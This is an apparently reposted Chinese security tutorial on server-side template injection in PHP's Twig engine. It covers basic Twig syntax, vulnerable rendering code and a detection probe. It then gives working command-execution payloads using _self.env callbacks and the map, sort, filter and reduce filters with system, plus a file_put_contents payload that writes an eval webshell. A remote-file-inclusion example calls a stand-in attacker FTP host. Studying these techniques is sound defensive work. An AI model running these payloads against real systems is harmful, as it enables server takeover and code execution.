Twig模板引擎注入
2023-3-18 21:25:0 Author: xz.aliyun.com(查看原文) 阅读量:8 收藏

我们依然用上次那个图片来看一下:

今天我们就来学习一下Twig模板引擎的注入:(网上的师傅写的很不错,结合了两三个来学习学习)

Twig模板基础语法:

变量:

应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 .来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar']

{{ foo.bar }}{{ foo['bar'] }}

全局变量:

在Twig模板中存在这些全局变量:

_self:引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
_context:引用当前上下文;
_charset:引用当前字符集。

定义变量:

可以为代码块内的变量赋值。赋值使用set标签:

{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}

过滤器:

变量可以修改为 过滤器. 过滤器与变量之间用管道符号隔开 (|). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。

下面的示例从 name标题是:

{{ name|striptags|title }}

接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素:

{{ list|join }}
{{ list|join(', ') }}
{{ ['a', 'b', 'c']|join }}
Output: abc
{{ ['a', 'b', 'c']|join('|') }}
Output: a|b|c

若要对代码部分应用筛选器,请使用apply标签:

{% apply upper %}This text becomes uppercase{% endapply %}

控制结构:

控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}}

例如,要显示在名为 users使用for标签:

<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>

if标记可用于测试表达式:

{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}

函数:

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表:
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,

注释:

{#……#}

引入其他模板:

Twig 提供的 include函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板

{{ include('sidebar.html') }}

继承:

Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。

从一个例子开始更容易理解这个概念。

让我们定义一个基本模板, base.html,它定义了可用于两列页面的HTML框架文档:

<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
&copy; Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>

在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。

子模板可能如下所示:

{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}

其中的 extends标签是关键所在,其必须是模板的第一个标签。extends标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer块,就用来自父模板的值替代使用了。

Twig模板注入原理:

我们来看一段Twig代码:

require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  
// 将用户输入作为模版变量的值
echo $output;

这里我们使用PHP模板引擎Twig作为实例,用这个代码来说明Twig语言的模板注入是怎么进行的。

这段代码使用Twig模板引擎来呈现一个字符串模板,并将$_GET["name"]的值作为模板变量“name”的值。具体来说:

  • 第一行使用PHP的require_once语句引入Twig的自动加载器。
  • 第二行调用Twig_Autoloader::register(true)来注册Twig自动加载器。
  • 第三行创建一个Twig_Environment实例,使用Twig_Loader_String作为模板的加载器。
  • 第四行使用Twig_Environment实例的render()方法渲染模板,将$_GET["name"]的值作为模板变量“name”的值传递。
  • 最后一行使用echo语句将渲染结果输出到浏览器中。

我们看到这个地方用户与服务器所接触的get参数会直接传送至{{}}里面,然后被模板引擎所定义的模板变量进行编码和转义,所以这里并不会产生什么漏洞

而下面这个代码我们再来进行一下对比:

require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分echo $output;

我们看到这个地方将get传值拼接到了字符串里面去,然后直接用twig模板引擎中的render进行渲染,我们可以发现用户输入的内容作为了模板的一部分,会原样输出用户所输入的内容,这样的话就会将用户所输入的内容进行模板编译和解析,最后在进行输出。

Twig模板注入检测:

在 Twig 模板引擎里,{{ var }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{2*10}} ,则在服务端拼接的模版内容为:

Twig 模板引擎在编译模板的过程中会计算 {{2*10}}中的表达式,会将其返回值 20 作为模板变量的值输出

现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:

IsVuln{# comment #}{{2*8}}OK

实际服务端要进行编译的模板就被构造为:

Hello IsVuln{# comment #}{{2*8}}OK

这里简单分析一下,由于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK

所以我们继续回到上面最开始的那个图:

版本漏洞:

Twig1.x:

  • index.php
<?php

include __DIR__.'/vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();

$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
?>

在 Twig 1.x 中存在三个全局变量:

  • _self:引用当前模板的实例。
  • _context:引用当前上下文。
  • _charset:引用当前字符集。

对应的代码是:

protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

这里主要就是利用 _self 变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。

比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

此外还有 getFilter 方法:

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}

public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

我们在 getFilter 里发现了危险函数 call_user_func。通过传递参数到该函数中,我们可以调用任意 PHP 函数。Payload 如下:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig2.x&Twig3.x:

这里看到一个通杀版本的payload,来学习一下:

Map:

{{["id"]|map("system")|join(",")

我们去官网找一下map的用法:

{% set people = [
    {first: "Bob",last:"Smith"},
    {first: "Alice",last:"A"},
] %}

{{people|map(p => "#{p.first} #{p.last}")|join(', ')}}
{# output Bob Smith, Alice A #}

允许用户传一个arrow function, arrow function最后会变成一个closure

举个例子

{{["man"]|map((arg)=>"hello #{arg}")}}

会被编译成

twig_array_map([0 => "man"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

map 对应的函数是twig_array_map ,下面是其实现

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);//将arrow当作函数来进行执行
    }

    return $r;
}
  • 从上面的代码我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v$k 分别是 $array 中的 value 和 key。$array$arrow 都是我们我们可控的,那我们可以不传箭头函数,直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数:
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
  • 前三个都可以使用。相应的 Payload 如下:
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}}    // 无回显
  • 其中,{{["id"]|map("system")}} 会被成下面这样:
twig_array_map([0 => "id"], "sysetm")
  • 最终在 twig_array_map 函数中将执行 system('id',0)

  • 还有file_put_contents函数写文件:

    file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
    

    当我们找到路径后就可以利用该函数进行写shell了

    ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}
    

    ####

sort:

  • 这个 sort 筛选器可以用来对数组排序。
{% for user in users|sort %}
    ...
{% endfor %}
  • 传递一个箭头函数来对数组进行排序:
{% set fruits = [
    { name: 'Apples', quantity: 5 },
    { name: 'Oranges', quantity: 2 },
    { name: 'Grapes', quantity: 4 },
]

%}

{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
    {{ fruit }}
{% endfor %}
// Output in this order: Oranges, Grapes, Apples
  • 类似于 map,模板编译的过程中会进入 twig_sort_filter 函数,这个 twig_sort_filter 函数的源码如下:
function twig_sort_filter($array, $arrow = null)
{
    if ($array instanceof \Traversable) {
        $array = iterator_to_array($array);
    } elseif (!\is_array($array)) {
        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
    }

    if (null !== $arrow) {
        uasort($array, $arrow);    // 直接被 uasort 调用 
    } else {
        asort($array);
    }

    return $array;
}
  • 从源码中可以看到,$array$arrow 直接被 uasort 函数调用。众所周知 uasort 函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序,如果我们自定义一个危险函数,将造成代码执行或命令执行:
php > $arr = ["id",0];
php > usort($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >
  • 知道了做这些我们便可以构造 Payload 了:
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter:

  • 这个 filter 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值:
{% set lists = [34, 36, 38, 40, 42] %}
{{ lists|filter(v => v > 38)|join(', ') }}

// Output: 40, 42
  • 类似于 map,模板编译的过程中会进入 twig_array_filter 函数,这个 twig_array_filter 函数的源码如下:
function twig_array_filter($array, $arrow)
{
    if (\is_array($array)) {
        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
  • 从源码中可以看到,$array$arrow 直接被 array_filter 函数调用。 array_filter 函数可以用回调函数过滤数组中的元素,如果我们自定义一个危险函数,将造成代码执行或命令执行:
php > $arr = ["id"];
php > array_filter($arr,"system");
uid=0(root) gid=0(root) groups=0(root)
php >

reduce:

这个 reducefilter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值:

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}

这个 reduce过滤器需要 initial值作为第二个参数:

{{ numbers|reduce((carry, v) => carry + v, 10) }}
{# output 16 #}

注意arrow函数可以访问当前上下文。

function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial);    
// $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}

可以看到array_reduce是有三个参数的:$array$arrow直接被 array_filter函数调用,我们可以利用该性质自定义一个危险函数从而达到rce

payload:
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显

参考文章:
http://www.milan100.com/article/show/1547
https://freebuf.com/articles/web/314028.html
https://xz.aliyun.com/t/7518#toc-5
https://ppfocus.com/0/te3772380.html


文章来源: https://xz.aliyun.com/t/12316
如有侵权请联系:admin#unsafe.sh